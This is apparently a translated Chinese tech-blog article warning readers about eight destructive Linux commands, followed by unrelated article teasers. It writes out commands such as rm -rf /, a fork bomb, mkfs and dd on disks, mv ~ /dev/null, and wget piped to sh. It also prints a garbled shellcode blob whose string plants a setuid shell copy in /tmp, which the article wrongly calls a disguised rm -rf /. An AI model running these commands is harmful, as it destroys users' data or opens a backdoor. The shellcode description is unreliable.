絕對不應該在 Linux 上運行的 8 個致命命令

絕對不應該在 Linux 上運行的 8 個致命命令

Linux 上的終端​​命令具有相當大的破壞性,如果你執行一個命令,它就會破壞你的系統。 Linux 在執行任何命令時不需要您確認。

了解哪些命令不應在 Linux 上運行有助於在 Linux 上工作時保護您的系統。以下是 8 個絕對不應該在 Linux 上運行的致命命令。

絕對不應該在 Linux 上運行的 8 個致命命令

1. rm -rf / - 刪除所有內容

rm -rf / 指令將刪除所有內容,包括硬碟上的檔案以及連接到電腦的媒體裝置上的檔案。

為了更好地理解該命令,分析如下:

  • rm – 刪除以下檔案。
  • -rf – 執行 rm(刪除指定資料夾內的所有文件和資料夾)並強行刪除所有文件,而不先詢問您。
  • / – 告訴 rm(例如 rm)從根目錄開始,包括電腦上的所有檔案。

Linux 會很高興地遵循這個命令並刪除所有內容而不警告你,所以使用這個命令時要小心。

此外,rm指令的使用方式也非常危險。例如, rm –rf ~ 將刪除主資料夾中的所有文件,而 rm -rf .* 將刪除所有設定檔。

2.偽裝指令 rm –rf /

以下是網路上隨處可見的一段程式碼:

char esp[] __attribute__ ((section(".text"))) /* esp 釋放 */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7\x16\xf7 “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”「\x8d\x73\x08\x56\x53\x54\x59\xb0\xx0b\x\cdx x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

這本質上是 rm –rf / 的另一個版本 – 執行此命令也會刪除所有文件,就像運行 rm –rf / 一樣。

3. :(){ :|: & };: – 一種重磅炸彈

絕對不應該在 Linux 上運行的 8 個致命命令

下面的命令列看起來很簡單,但它的功能實際上很危險:

:(){ :|: & };:

這個簡短的命令將創建自身的新副本。也就是說,備份過程本身將是連續的,並且很快就會導致您的 CPU 和記憶體被填滿。

它還可能導致您的電腦當機。這基本上是一種拒絕服務 (DoS) 攻擊。

4. mkfs.ext4 /dev/sda1 – 硬碟格式

指令 mkfs.ext4 /dev/sda1 很容易理解:

  • mkfs.ext4 - 在下列裝置上建立 ext4 檔案系統。
  • /dev/sda1 - 標識第一個硬碟上的第一個分割區,這可能是正在使用的硬碟。

組合這兩個命令相當於在 Windows 上格式化 C: 磁碟機 - 刪除第一個分割區上的所有檔案並用新檔案系統取代它們。

此命令可以以多種不同的格式出現,例如 - mkfs.ext3 /dev/sdb2 將使用 ext3 檔案系統格式化第二個硬碟上的第二個分割區。

5. command > /dev/sda - 直接寫入硬碟

絕對不應該在 Linux 上運行的 8 個致命命令

命令列 > /dev/sda - 運行命令並將該命令的結果直接輸出到您的第一個硬碟驅動器,將資料直接寫入硬碟並破壞您的檔案系統。

  • 命令 – 運行命令(可以是任何命令)。
  • > – 將指令輸出傳送到以下位置。
  • /dev/sda – 將指令輸出直接寫入硬碟裝置。

6. dd if=/dev/random of=/dev/sda – 將愚蠢的資料寫入硬碟

dd if=/dev/random of=/dev/sda 行將刪除其中一個硬碟上的資料。

  • dd – 是執行從一個位置到另一個位置的低階複製。
  • if=/dev/random – 使用 /dev/random 作為輸入 – 您可能會看到類似 /dev/zero 的位址。
  • of=/dev/sda – 輸出到第一個硬碟驅動器,用隨機的愚蠢資料取代檔案系統。

7. mv ~ /dev/null – 將您的主目錄移到黑洞

/dev/null - 將某些內容移到 /dev/null 與銷毀它相同。將 /dev/null 視為黑洞。 mv ~ /dev/null 會將您所有的個人檔案傳送到黑洞。

  • mv – 將下列檔案或資料夾移至另一個位置。
  • ~ – 您的整個主資料夾。
  • /dev/null – 將您的主資料夾移至 /dev/null,它將銷毀您的所有檔案並刪除原始副本。

8. wget http://example.com/something -O – | sh – 載入並執行腳本

上面的命令將從網路下載一個腳本並將腳本發送到sh,sh將執行腳本的內容。如果您不確定腳本是什麼或沒有受信任的腳本來源,這可能會很危險 - 不要執行不受信任的腳本。

wget – 下載檔案。

http://example.com/something – 從此位置下載檔案。

| – 將 wget 指令的輸出(下載的版本檔案)直接透過管道(傳送)到另一個指令。

sh – 將檔案傳送到 sh 指令。

更多的文章可以參考下面的文章:

正玩得開心!


如何刪除 Windows 10 螢幕右上角的版權請求通知

如何刪除 Windows 10 螢幕右上角的版權請求通知

您是否在螢幕右上角看到 Windows 10 啟動通知?本文將指導您如何刪除Windows 10上的版權請求通知。

AZ 有關如何安裝 Windows 10 內部版本 14393.222 的說明

AZ 有關如何安裝 Windows 10 內部版本 14393.222 的說明

最近微軟為Windows 10 PC用戶發布了最新的累積更新,名為Build 14393.222。這次針對Windows 10發布的更新主要根據使用者回饋修復了Bug,並提升了作業系統的效能體驗。

只需 3 步驟即可使用 Bastion 主機保護您的電腦網絡

只需 3 步驟即可使用 Bastion 主機保護您的電腦網絡

您的本機網路上是否有需要外部存取的電腦?使用堡壘主機作為網路的看門人可能是一個很好的解決方案。

如果您的鍵盤無法使用,如何建立 Windows 鍵

如果您的鍵盤無法使用,如何建立 Windows 鍵

如果您喜歡使用舊的經典鍵盤,例如 IBM Model M,它不包含實體 Windows 鍵,那麼有一個簡單的方法可以添加更多按鍵,即藉用您不經常使用的鍵。

快速清除Windows 10中所有事件日誌的3種方法

快速清除Windows 10中所有事件日誌的3種方法

有時您可能需要一次刪除所有舊的事件日誌。在本指南中,Quantrimang.com 將向您展示 3 種快速刪除 Windows 10 事件檢視器中所有事件日誌的方法。

假IP方式幫助您匿名訪問

假IP方式幫助您匿名訪問

在之前的許多文章中,我們已經提到在線保持匿名非常重要。私人資訊每年都會被洩露,使得網路安全變得越來越必要。這也是我們應該使用虛擬IP位址的原因。下面,我們就來學習製作假IP的方法!

如何在 Windows 10 上建立透明背景模式

如何在 Windows 10 上建立透明背景模式

WindowTop 是一款能夠調暗 Windows 10 電腦上運行的所有應用程式視窗和程式的工具。或者您可以在 Windows 上使用深色背景介面。

如何關閉 Windows 8 工作列上的語言列

如何關閉 Windows 8 工作列上的語言列

Windows 8 上的語言列是一個微型語言工具列,旨在自動顯示在桌面螢幕上。然而,很多人想在工作列上隱藏這個語言欄。

如何為 Linksys 路由器設定 WEP、WPA、WPA2

如何為 Linksys 路由器設定 WEP、WPA、WPA2

無線連接是當今的必需品,因此,無線安全對於確保內部網路的安全至關重要。

Linksys 優化網路連線速度的技巧

Linksys 優化網路連線速度的技巧

最大限度地提高網路速度對於優化網路連線至關重要。您可以使用電腦、可上網的電視、遊戲機等獲得最佳的娛樂和工作體驗。